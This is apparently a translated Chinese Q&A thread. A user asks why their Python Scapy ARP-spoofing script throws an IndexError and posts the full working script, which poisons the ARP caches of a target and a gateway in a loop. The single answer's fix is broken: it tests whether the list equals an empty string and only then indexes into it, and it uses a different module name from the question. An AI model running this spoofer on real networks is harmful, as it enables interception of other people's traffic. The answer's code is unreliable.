为什么我在编写ARP欺骗攻击时收到索引错误，指出我的列表超出范围？

Question

我正在尝试让mac地址自动添加到欺骗和恢复功能中，而不是手动键入。不久前它工作得很好，但是现在不行了。"get_mac“函数可以自己工作，但是当我把它添加到下面的代码中时，它就不行了。为什么会出现此错误？：

Traceback (most recent call last):
  File "arp_spoof.py", line 33, in <module>
    spoof(target_ip_str, spoof_ip_str)
  File "arp_spoof.py", line 15, in spoof
    target_mac = get_mac(target_ip_str)
  File "arp_spoof.py", line 11, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

这是我的代码：

import scapy.all as sc
import time


def get_mac(ip):
    arp_request = sc.ARP(pdst=ip)
    broadcast = sc.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_broadcast_request = broadcast/arp_request
    answered_list = sc.srp(arp_broadcast_request, timeout=4, verbose=False)[0]

    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip_str)
    packet = sc.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sc.send(packet, verbose=False)


def restore(destination_ip, source_ip):
    destination_mac = get_mac(target_ip_str)
    source_mac = get_mac(source_ip)
    packet = sc.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    sc.send(packet, count=4, verbose=False)


packet_sent_count = 0
target_ip_str = input("Enter the target's IP: ")
spoof_ip_str = input("Enter the gateway or spoof ip: ")

try:
    while True:
        spoof(target_ip_str, spoof_ip_str)
        spoof(spoof_ip_str, target_ip_str)
        packet_sent_count += 2
        print("\r[+] Packets sent: " + str(packet_sent_count), end="")
        time.sleep(2)

except KeyboardInterrupt:
    print("\t\t\n[+] Operation stopped by keyboard interruption [+]")
    restore(target_ip_str, spoof_ip_str)
    restore(spoof_ip_str, target_ip_str)

Answer 1

在get_mac函数中，编写一条if语句并检查answered_list是否为空；如果为空，则返回answered_list，如下所示：

def get_mac(ip):
 
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, iface="wlan0", timeout=3, verbose=False)[0]
 
    if answered_list == "":
        return answered_list[0][1].hwsrc